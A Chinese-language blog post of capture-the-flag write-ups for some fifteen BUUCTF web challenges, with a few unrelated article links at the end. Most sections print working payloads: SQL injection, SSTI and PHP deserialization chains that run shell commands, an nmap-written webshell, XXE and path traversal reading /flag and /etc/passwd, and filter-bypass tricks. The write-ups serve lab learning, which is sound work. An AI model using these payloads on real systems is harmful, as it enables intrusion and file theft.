BUUCTF-WEB-刷题记录(2)

[网鼎杯 2018]Fakebook

注册一个账户,进去之后查看源代码,感觉存在注入点
image.png
是数字型注入,payload:

1%20and(false)
1%20and(true)

image.png
image.png
判断列数

1 order by 5

image.png
改为4的时候则页面正常
image.png
判断显示位,可以看见第二列存在数据回显

0 union/**/select 1,2,3,4

image.png
查看可执行的权限路径:

0%20union/**/select%201,@@global.secure_file_priv,3,4

当返回空值,意味着可以读取或者写入任意路径的文件
image.png
使用load_file函数读取flag文件

0%20union/**/select%201,load_file("/var/www/html/flag.php"),3,4

查看源码,获得flag
image.png

[RoarCTF 2019]Easy Java

访问链接地址,可以发现是一个登录框页面
image.png
感觉怪怪的,先看一眼源码,就发现突破点了
image.png
访问可以发现出现报错
image.png
更改数据包,把GET请求方式改为POST,发现成功下载help.docx
image.png
打开help.docx文档,可以发现提示,说明我们还需要下载关键的文件才行。
image.png
因为根据题目提示JAVA,使用尝试利用下载WEB-INF/web.xml文件,可以看见成功了
image.png

java网站的目录结构

src: 存放项目的Java源代码。

src/com/example/web/:Java源代码的根目录,可能按照包构组织。

webapp(或者WebContent): 包含Web应用程序的资源文件。
webapp/WEB-INF/:包含配置和部署描述文件。
webapp/WEB-INF/web.xml:Web应用的部署描述文件,包含Servlet和其他配置信息。
webapp/WEB-INF/classes/:编译后的Java类文件。
webapp/WEB-INF/lib/:存放项目依赖的JAR文件。
webapp/WEB-INF/jsp/:存放JSP文件。

根据回显,可以看见是要获取编译后的Java文件
image.png
所以构造payload:

/Download?filename=/WEB-INF/classes/com/wm/ctf/FlagControlle.class

image.png
可以发现flag就是这串 base64 编码
image.png

[BJDCTF2020]The mystery of ip

访问链接,直接进入主题。根据题目提示:说明ip存在猫腻
image.png
为数据包添加请求头:

X-Forwarded-For:127.0.0.1

image.png
可以看见X-Forwarded-For:是一个可控点,我们可以利用这个请求头来进行其他操作
image.png
最终测试出,存在SSTI模板注入。

{{8*8}}

通过FUZZ爆破发现是Smarty模板的SSTI漏洞,最后使用payload:

{{system("cat /flag")}}

image.png
可以看见成功获取flag

[网鼎杯 2020 朱雀组]phpweb

进入网页后,可以发现,有些奇怪的信息突然出现在页面中
image.png
抓包看看,可以发现是调用了php的函数才导致的
image.png
既然我们知道了可以调用函数来实现日期的回显,那么我们利用可控变量修改函数,来读取index.php来看看

func=file_get_contents&p=index.php

image.png
通过读取源码,发现禁用了许多可以执行命令的函数。

   <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

但是我们可以看见下面的类:

   class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

其他代码不用管,因为影响不大。如果要想绕过禁用函数,那么就要执行反序列,为什么呢?因为反序列化 unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。
从而构造payload:

<?php
   class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
   }
   $a = new Test();
   $a -> func ="system";
   //$a -> p = "find / -name 'flag*'";
   $a -> p ="cat /tmp/flagoefiu4r93";
   echo serialize($a);
?>

查找flag路径

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:20:"find / -name 'flag*'";s:4:"func";s:6:"system";}

image.png
获取flag

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}:6:"system";}

image.png

[BSidesCF 2020]Had a bad day

进入网页之后,可以看见有两个按钮可以点击
image.png
通过观察可以发现,浏览器多了个参数进行请求,每次刷新页面猫猫的图片都会换掉
image.png
因此推测不是sql注入的漏洞,应该是文件包含漏洞,使用php伪协议可以发现成功读取文件

php://filter/convert.base64-encode/resource=index

image.png
因为报错信息可以发现php是有两个的,那么我们删掉.php就好了。
image.png
base64解码得到index.php源码

<?php
  $file = $_GET['category'];
if(isset($file))
{
  if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
    include ($file . '.php');
  }
  else{
    echo "Sorry, we currently only support woofers and meowers.";
  }
}
?>

通过代码审计,可以看见要想包含想要的文件,就必须通过if判断。那么我们要包含的flag文件在哪里呢?
通过目录扫描得知是flag.php 文件
从而构造payload:

?category=meowers/../flag

可以发现验证成功
image.png
最后利用php伪协议就可以成功读取到了flag.php 的源代码

?category=php://filter/convert.base64-encode/resource=meowers/../flag

image.png
base64解码获得flag
image.png

[BUUCTF 2018]Online Tool

进入页面后开始审计源码:

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

通过观察可以发现最重要的函数就是

escapeshellarg
escapeshellcmd

绕过原理:

<?php

echo "一开始的字符串:".$a= "'hell";
echo "<br>是escapeshellarg函数:".$b = escapeshellarg($a);
echo "<br>是escapeshellcmd函数:".escapeshellcmd($a);
echo "<br>两个函数一起的结果:".escapeshellcmd($b);

为开头 hell 的首位添加一个单引号,通过观察可以发现最终两个函数的结果的单引号没有闭合导致不能执行恶意代码。
image.png
通过观察可以发现是单引号引起了转义,当 'hell 后面再次添加一个单引号的时候就会闭合
image.png
知道了闭合单引号,也意味着我们可以控制变量参数了。

//?$host=payload
//?host='执行的关键payload '
//末尾的单引号前面还要多空出一格

由于nmap的 -oG 参数可以导出文件,利用这点构造以下payload:

?host='<?php echo `cat /flag`;?> -oG a.php '

image.png
最后访问生成的php文件获得flag

xxx.buooj.cn:81/73d2515c6cc128eff4ed44689ccbe7e6/a.php

image.png

[BJDCTF2020]ZJCTF,不过如此

进入页面先审计源码:

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

主要看第六行代码,当 t e x t 变量等于 I h a v e a d r e a m ,同时 f i l e g e t c o n t e n t s 函数将会读取 text 变量等于 I have a dream ,同时file_get_contents函数将会读取 text变量等于Ihaveadream,同时filegetcontents函数将会读取text 变量,它们两个进行对比是否等于 I have a dream。我们只需要让text变量等于这个英文字符串即可。
我这里使用data协议,当然也可以php://input 协议,构造以下payload:

?text=data://text/plain,I have a dream

可以看见我们的页面并没有报错,已经成功的运行到了file_get_contents 函数,这也意味着我们也可以控制下面的file变量
image.png
然后php伪协议读取 next.php 提示文件的源码:

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

image.png
最后base64 解码获取源码:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

这里主要考点是 preg_replace 的一个RCE漏洞:

preg_replace( '/(' . $re . ')/ei','strtolower("\\1")', $str);

主要是构造:

preg_replace('.*')/ei','strtolower("\\1")', {${此处填函数名}});

所以我们要做的就是换一个正则表达式,让其匹配到 {${phpinfo()}} 即可执行 phpinfo 函数。
payload:

?\S*=${phpinfo()}

image.png
根据此原理的条件下,我们剩下想要执行命令就简单的多了,使用源码自带的函数获取flag。通过调用getFlag()函数,然后执行命令:
image.png

?\S*=${getFlag()}&cmd=system('cat /flag');

image.png

这个是我自己想的getshell思路,感觉这个更方便点。也可以使用系统自带的命令执行

?\S*=${system($_GET[c])}&c=cat /flag

image.png

花式绕过:

?\S*=${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}

image.png
关于preg_replace漏洞的产生,可以参考这篇:

https://xz.aliyun.com/t/2557

[GXYCTF2019]禁止套娃

信息收集

首先进入页面,通过页面的信息和抓包发现没有任何可以利用的东西,猜测可能是需要目录扫描
image.png
果不其然,成功扫出来了 是git泄露
使用工具GitHack:

https://github.com/lijiejie/GitHack

image.png
可以看见已经获得了一个index.php 的源码文件:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

代码审计

现在最重要的代码审计,如何获得eval可控变量?进行shellcode 注入
image.png
我们主要看这三行代码:

   if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
  • 第一行意思是:不能匹配恶意的协议流,如果没有匹配进入到下一个if判断语句
  • 第二行意思是:将匹配到的字符串,如果替换为NULL(空)之后仍然等于 ";"这个分号,就可以进行下一个if判断中。
    • 在这其中我们需要注意替换符:
'/[a-z,_]+\((?R)?\)/'
// 这个可能很难理解,但其实不是的。
// 例如 a-z的引文字符母和下划线 _ 最后通过连接符号 + 上括号 () 
// ?R 里面的意思递归。至于递归什么,递归的是刚刚说的那些,例如a(b(c()))
// a()里面包含着b(),以此类推就是这个意思
  • 而第三行的意思是:不能匹配里面的关键字,大小写也绕过不了。如果没有里面的关键词,就会可以执行 eval这个可控变量了。

构造payload

array数组

现在我们了解那么多,就可以开始自己造轮子来代替平时的函数以达到我们的目的:只能通过函数,而不再函数里面使用双引号与字符串。
查看当前路径下的文件,以数组方式打印:

?exp=print_r(scandir(pos(localeconv())));

// scandir — 列出指定路径中的文件和目录
// pos是current函数的别名,current用来返回当前数组的当前单元
// localeconv — 获取数字格式信息,在这里它的作用可以代替路径 ./

image.png
发现flag.php 在倒数第二行。
在php函数中刚好可以利用 next函数与 array_reverse函数进行利用,最后通过show_source 高亮显示文件成功读取到flag.php:

?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

// next — 将数组中的内部指针向前移动一位
// array_reverse — 返回单元顺序相反的数组

image.png
当 flag.php 的数组位置随机,可以使用 array_rand函数与array_flip函数,以下payload,一直刷新页面flag就会回显:

?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));

image.png

array_rand()返回的是数组名称,而array_flip()函数的作用是通过数组名称来获得数组值
这两个函数互相搭配,就可以通过数组名称来获得到数组的值了
session_id()

这种RCE的方式,主要是通过 session 来帮助命令执行的。
image.png
因为我们可以通过这些函数来控制可控变量,而session_id 的作用就是获取当前会话的ID,也就是cookie中的phpsession,我们可以通过抓包修改其值,从而注入shellcode。

因为 phpsession 只允许 a-z A-Z 0-9 "。" "-" 所以我们必须转换为十六进制,才能RCE。
而session_id必须要开启session才可以使用,所以我们要使用session_start()函数。

RCE的payload:

?exp=eval(hex2bin(session_id(session_start())));

image.png
image.png
执行不了,是因为第二行的代码,它不支持数字:

if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {

不过不影响获得flag:

?exp=show_source(session_id(session_start()));

// Cookie:PHPSESSID=flag.php

image.png
其他的无参数rce,具体可以看看这篇:

https://blog.csdn.net/weixin_46330722/article/details/110840156

[NCTF2019]Fake XML cookbook

根据题目提示可以看见是关于XML,想起XML语言标记文本就会联想到XXE漏洞,具体可以参考我之前写过的一篇文章,这里就不再赘述基础知识了。

https://blog.csdn.net/weixin_53912233/article/details/129077736

首先打开burp suite进行抓包,可以发现是XML语言
image.png
尝试一下payload:

<!DOCTYPE cike[<!ENTITY xxe SYSTEM "file:///flag">]>
<user><username>&xxe;</username><password>a</password></user>

发现直接给出了回显,证实了存在漏洞的利用性
image.png
剩下的就是读取flag文件就成功了,根据数据的flag.php提示
image.png
最终试出来了flag的具体位置,下面是payload:

<!DOCTYPE cike[<!ENTITY xxe SYSTEM "file:///flag">]>
<user><username>&xxe;</username><password>a</password></user>

[GWCTF 2019]我有一个数据库

通过目录扫描发现一个phpmyadmin的后台地址
image.png
然后搜索历史漏洞,可以发现poc:

?target=db_sql.php%253f/../../../../../../../../etc/passwd

image.png
获取flag:

?target=db_sql.php%253f/../../../../../../../../flag

image.png

[BJDCTF2020]Mark loves cat

通过目录扫描发现存在 .git 泄露
image.png
然后使用工具GitHack 获得了源码,index.php 源码:

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){  
    $$x = $$y;
}

foreach($_GET as $x => $y){     
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}



echo "the flag is: ".$flag;

flag.php 的源码:

<?php
	$flag = file_get_contents('/flag');

可以看见要想输出echo函数,就要绕过三个if判断,但是陷入不太可能。
而突破点就是exit()函数,当调用此函数的时候,里面的变量将会执行。
所以我们只需要想办法进行变量覆盖执行这一段,让$yds变量等于flag:

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

其中foreach语句的意思是:

foreach($_GET as $x => $y){  // $x 表示每个传递过来的参数名,而 $y 则表示对应参数名的值。
$$x = $$y;
													}
	所以我们输入的变量是 yds = flag ,
	$x=yds $y=flag,
	$$x = $$y 
	所以 $yds=$flag
	所以当 $yds = $flag 时,就会调用exit($yds); 等同于 echo $flag;因为头部包含了flag.php

从而构造payload:

?yds=flag

image.png
而且一开始主页就有提示了,一个dog回显
image.png
查看源代码,可以看见dog是 $yds的变量
image.png
所以当我们替换dog为flag就会输出flag

第二个payload构造,可以看见我们需要触发is变量,前提条件是满足flag=flag或者使用post请求:

foreach($_GET as $x => $y){
    $$x = $$y;
}


if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

所以我们构造payload:

?is=flag&flag=flag

image.png
至于is为什么要等于flag,原理也是和 yds 变量一样,它们都是通过 foreach语句。变成可可变量了。而三个if所执行的exit()函数里面的变量都是不同的。
第三个payload:

?handsome=flag&flag=x&x=1
// 这里不一定是 x变量也可以改
?handsome=flag&flag=a&a=1

原理是为了绕过第一个if判断,所以 f l a g = flag= flag=x变量里的值,而x不能等于flag,所以在需要一个$x传入变量

foreach($_GET as $x => $y){
    $$x = $$y;
}


foreach($_GET as $x => $y){    
    if($_GET['flag'] === $x && $x !== 'flag'){ 
			// x变量不能等于flag,且flag变量要等于x变量,所以可以通过if判断。
        exit($handsome);
    }

image.png
payload4:
还有一个解法,我觉得应该算是php弱数组:
image.png
因为foreach,输出的都是数组,那么我们不仅可以利用变量覆盖,还可以利用php的数组的特性如:

?13=flag&flag=13

image.png

[WUSTCTF2020]朴实无华

通过信息收集发现存在robots.txt 文件
image.png
访问这个php,回显了一个flag不在这?
image.png
抓包发现,返回包头存在提示
/fl4g.php
image.png
然后又是一个php审计:
image.png

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>
去非洲吧

level 1绕过 intval:

if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

绕过条件是满足num变量小于2020,当+1时要大于2021,这里有一个函数 intval,当数字存在字母e时进行计算会变成科学计算法,因为这里的比较是弱类型比较,所以可以使用字母:

其中 e 表示乘以 10 的幂。所以 202e9 实际上表示的是 202 乘以 10 的 9 次方,也就是 202 亿。

所以成功绕过了这个if判断,payload:

?num=202e9

image.png
level 2

if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

可以看见是md5的弱类型比较,==在比较数据的时候会进行类型的转换,我们只需要找到对应的数值就好了:

?num=20e09&md5=0e807097110

image.png
level3:

if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

可以看见传入get_flag 变量之后,strstr 函数检查该值是否包含空格。如果没有空格,它将使用 str_ireplace 函数将字符串中的 “cat” 替换为 “wctf2020”。
payload:

?num=20e09&md5=0e807097110&get_flag=ls // 查看当前目录
?num=20e09&md5=0e807097110&get_flag=ca\t${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
//  \ 等于空变量 ${IFS}等于空格

image.png

[BJDCTF2020]Cookie is so stable

进入网页,直接来到提示,点击FLAG
image.png
根据提示说cookie,我们抓包看看
image.png
image.png
发现cookie里面有个user参数等于a,再放包可以发现页面回显了个字母a
image.png
经过测试,推测出是SSTI模板注入的漏洞,payload:

{{8*8}}

image.png
回显出了64的数字
serverside.png
通过这幅图的payload测试,可以推测出可能是 Twig模板,或者Jinja2模板。
最终测试出是Twig 模板payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

image.png

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

image.png

[安洵杯 2019]easy_web

进入页面可以通过观察这是一个base64 的编码,可以发现是img参数接受的,感觉很奇怪。
image.png
因此推测出可能是来显示页面中的图片,通过解码发现:
base64 -> base64 -> hexe -> text
image.png
最后发现是源文件是555.png,按照这种思路尝试把555.png 改为 index.php 然后进行反向编码:
hex -> base64 -> base64

?img=TmprMlJUWTBOalUzT0RKRk56QTJPRGN3&cmd=

可以发现有base64编码后的字符串
image.png
base64解码得出源码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>

通过观察代码可以发现是RCE执行,才能获取flag,那么我们需要绕过这两段关键代码:

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
	  echo("forbid ~");
    echo "<br>";

if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;

其中最重要的post传参的a和b,因为它们是强类型比较MD5值相等,且转换为字符串类型的值不能相等。
因为传入的必须是字符串,就不能拿数组绕过了。
至于MD5碰撞相等的方法可以具体参考这一篇文章:

https://blog.csdn.net/shuaicenglou3032/article/details/118197904

现在进行构造数据包,可以发现成功执行命令
image.png

a=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C/%CA%B5%87%12F~%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25qAZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BD%F2%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E2%B4%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW~%E8%CET%B6p%80%A8%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%2Bo%F7%2Ap&b=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C/%CA%B5%07%12F~%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25%F1AZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BDr%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E24%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW~%E8%CET%B6p%80%28%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%ABo%F7%

由于是post请求,还需添加这个请求头,用于表示post请求编码的格式:

Content-Type:application/x-www-form-urlencoded

现在只需要绕过命令执行就可以

l\s
l\s%20/

查看根目录文件,反斜杠可以绕过空变量,%20用于绕过空格
image.png
最后读取flag

ca\t%20/flag

image.png

[MRCTF2020]Ezpop

访问页面可以是关于反序列化的题,如图
image.png
我们可以从第一个类开始分析:

class Modifier {
	// protected定义的变量反序列化之后,输出的字符串为不可显,需要urlencode进行编码输出
    protected  $var;
	//可以看见这里有一个include函数,可以进行文件包含漏洞,来进行读取flag.php文件
    public function append($value){
        include($value);
    }
	//调用include函数,必须使用__invoke()方法:当尝试以调用函数的方式调用一个对象时,_invoke()方法会自动调用函数
    public function __invoke(){
        $this->append($this->var);
    }
}

通过分析,我们必须要调用函数的方式调用一个对象,才能利用 include()函数来读取flag.php文件。

在最后一个类进行分析,发现存在调用__invoke()的方式:

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
//读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用。
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

可以看见第9行,return函数意味着调用函数。为了可以执行__get函数,我们需要读取和不可访问(protected 或 private)或不存在的属性的值。

现在分析中间的show类:

class Show{
    public $source;
    public $str;
	//这个不重要,只是输出xxx,决定不了什么
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
	//当输出引用这个类的时候,将会调用__toString(),就会返回这些属性值给全局进行使用
    public function __toString(){ 
        return $this->str->source;
    }
	//在这里可以看见echo输出函数,后面调用__toString()将会用到这里的source属性。
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

现在知道了 include()来自Modifie类---->Test()的__get()调用方法---->使用Show()__toString()来构造不存在的属性和值
开始构造pop链:

所以创建新类的顺序为:
Show()->Test()->Modifie()

php生成反序列化的脚本:

<?php
class Modifier {
    protected  $var = "php://filter/convert.base64-encode/resource=flag.php";
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}

// 初始化创建Show()的类为a变量 
$a = new Show();
// 将source属性添加到 Show()类中,因为这样子就可以使用到echo函数,也会调用__toString()方法
$a->source= new Show();  
// Test()类的__get()方法,为了可以调用,我们将属性调转过来
$a->source->str= new Test();
// 最后将全部的属性指定到p中,放入Modifier()类,才能执行__invoke()方法,即调用include()函数
$a->source->str->p = new Modifier();

// 输出反序列化,以url编码,这是为了显示protected变量的不可回显的字符
echo urlencode(serialize($a));

最后生成payload:

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

以pop参数接受payload
image.png
base64解码获得flag
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/210690.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

uniapp前端支付篇(微信、抖音、快手、h5)四个平台支付

前言 微信、快手、h5支付步骤大致相同&#xff0c;只有抖音是有自己的支付组件 项目同时支持多个&#xff08;微信、快手、h5&#xff09;平台支付&#xff0c;后端那边代码可以封装的 各平台支付大致流程都是相同的&#xff0c;总结了一下分为五个步骤 点击支付创建订单生成密…

深搜回溯剪枝优化策略-全排列II

LCR 084. 全排列 II - 力扣&#xff08;LeetCode&#xff09; 这道题的主体思想和之前讲过的全排列是相似的&#xff0c;不同的是思考的角度要侧重于剪枝方向&#xff0c;所以可以通过这道题对剪枝思想的进一步扩展&#xff1b; 通过题意&#xff0c;可以知道&#xff0c;在上一…

非得让你会之MyBatis插件与Java动态代理

引言 咱们今天聊聊Java动态代理&#xff0c;这东西在开发中真的太常见了。比如Spring AOP、RPC&#xff0c;它们都离不开动态代理。然后&#xff0c;咱们再来说说MyBatis插件&#xff0c;这可是MyBatis框架中的一个超实用的功能&#xff0c;它就像是给MyBatis加了个“超能力”…

SmartSoftHelp8,Web前端性能提升,js,css,html 优化压缩工具

Web前端js&#xff0c;css&#xff0c;html 优化压缩工具 提高web 前端性能&#xff0c;访问速度优化专业工具 CSS&#xff0c;js&#xff0c;html 单文件&#xff0c;多文件 单个&#xff0c;批量压缩优化 web前端优化&#xff1a;减少空格&#xff0c;体积压缩&#xff0…

【C++初阶(十)】set、map、multiset、multimap的介绍及使用

本专栏内容为&#xff1a;C学习专栏&#xff0c;分为初阶和进阶两部分。 通过本专栏的深入学习&#xff0c;你可以了解并掌握C。 &#x1f493;博主csdn个人主页&#xff1a;小小unicorn ⏩专栏分类&#xff1a;C &#x1f69a;代码仓库&#xff1a;小小unicorn的代码仓库&…

【Rust】快速教程——自定义类型、数字转枚举、Cargo运行

